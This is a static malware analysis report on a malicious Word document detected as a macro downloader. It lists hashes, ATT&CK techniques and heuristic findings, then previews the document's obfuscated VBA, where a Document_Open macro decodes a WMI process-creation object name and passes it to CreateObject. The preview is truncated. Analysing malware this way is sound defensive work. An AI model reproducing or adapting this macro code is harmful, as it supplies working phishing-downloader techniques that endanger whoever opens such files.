Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 713e8a1be959b7dd…

MALICIOUS

Office (OLE)

243.0 KB Created: 2020-08-20 11:41:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 455a5c49545f51b506a9a2bd1e4d9c9e SHA-1: ceeb89eb93b60e7a9ef962bf5325b03f8057eaf8 SHA-256: 713e8a1be959b7dd6086d6db1966d903ebbcc7c9b3df5fe7d7d5e0033bcf4f4f
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a UserForm hidden-property command stager, which are indicative of a downloader. The presence of CreateObject and obfuscated code suggests the macro is designed to execute arbitrary commands, likely to fetch and run a secondary payload. The ClamAV detection as 'Doc.Downloader.Generic' further supports this assessment.

Heuristics 7

  • ClamAV: Doc.Downloader.Generic-9420931-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-9420931-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11015 bytes
SHA-256: a7f1d704a7ebb66fa1aa2c5196ffe683417ea34f69add863347d2d826c2ec1fd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "D9c1342xwd8wgx0k"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Bb__kh9b_czh.G6kbqbyagriktu
End Sub


Attribute VB_Name = "Bb__kh9b_czh"
Attribute VB_Base = "0{F7E1172E-C167-4914-9902-29D6F517875E}{AB913C2D-246B-4186-9691-7CC3602006A6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function G6kbqbyagriktu()
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Uo5g59w5eaql = Bb__kh9b_czh.HelpContextId + 50 + 50
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

O5np300_kffvyj = ChrW(Uo5g59w5eaql + (15))
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Pw5zbwh6ym5kou3 = "12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]w12bb$ hs1g 2[gg222sh 7219681]i12bb$ hs1g 2[gg222sh 7219681]nm12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]gm12bb$ hs1g 2[gg222sh 7219681]t12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]" + O5np300_kffvyj + "12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]:12bb$ hs1g 2[gg222sh 7219681]w12bb$ hs1g 2[gg222sh 7219681]in12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]312bb$ hs1g 2[gg222sh 7219681]212bb$ hs1g 2[gg222sh 7219681]_12bb$ hs1g 2[gg222sh 7219681]" + Bb__kh9b_czh.D269dmukra56m + "12bb$ hs1g 2[gg222sh 7219681]ro12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]ce12bb$ hs1g 2[gg222sh 7219681]s12bb$ hs1g 2[gg222sh 7219681]s12bb$ hs1g 2[gg222sh 7219681]"
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Agj4are7oy6ta3xoi = S_v6_a3ivce(Pw5zbwh6ym5kou3)
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Set R_t2sf9vui5yopt = CreateObject(Agj4are7oy6ta3xoi)
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Zk9_uzzolfsegi = Bb__kh9b_czh.Un3ewn3702d1p.ControlTipText
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.